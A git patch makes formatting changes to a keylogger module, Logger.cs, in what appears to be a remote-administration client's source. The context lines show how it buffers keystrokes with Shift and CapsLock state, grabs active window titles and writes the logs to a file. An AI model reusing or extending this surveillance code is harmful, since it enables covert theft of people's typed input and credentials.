From 4b3216267e1a94ceeebe2dc388295f6708374b24 Mon Sep 17 00:00:00 2001 From: yankejustin Date: Mon, 4 May 2015 12:26:14 -0400 Subject: [PATCH] Code formatting Readability improvements to follow the format of the rest of the code. --- Client/Core/Keylogger/Logger.cs | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index 2a1e188f..13cda68f 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -79,7 +79,7 @@ private static bool CapsLock public Logger(double flushInterval) { Instance = this; - _hWndLastTitle = ""; + _hWndLastTitle = string.Empty; WriteFile(); @@ -170,20 +170,20 @@ private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs if (ShiftKey && CapsLock) //If the state of Shiftkey is down and Capslock is toggled on { _keyBuffer.Append(FromKeys(i, true, true)); - return; } - if (ShiftKey) //If only the Shiftkey is pressed + else if (ShiftKey) //If only the Shiftkey is pressed { _keyBuffer.Append(FromKeys(i, true, false)); - return; } - if (CapsLock) //If only Capslock is toggled on + else if (CapsLock) //If only Capslock is toggled on { _keyBuffer.Append(FromKeys(i, false, true)); - return; + } + else + { + _keyBuffer.Append(FromKeys(i, false, false)); } - _keyBuffer.Append(FromKeys(i, false, false)); return; } } @@ -225,7 +225,7 @@ private void WriteFile() if (string.IsNullOrEmpty(_keyBuffer.ToString())) sw.Write(_keyBuffer); - _hWndLastTitle = ""; + _hWndLastTitle = string.Empty; } else sw.Write(_keyBuffer); @@ -251,7 +251,7 @@ private string GetActiveWindowTitle() string title = sbTitle.ToString(); - return title != "" ? title : null; + return title != string.Empty ? title : null; } private IntPtr GetActiveKeyboardLayout()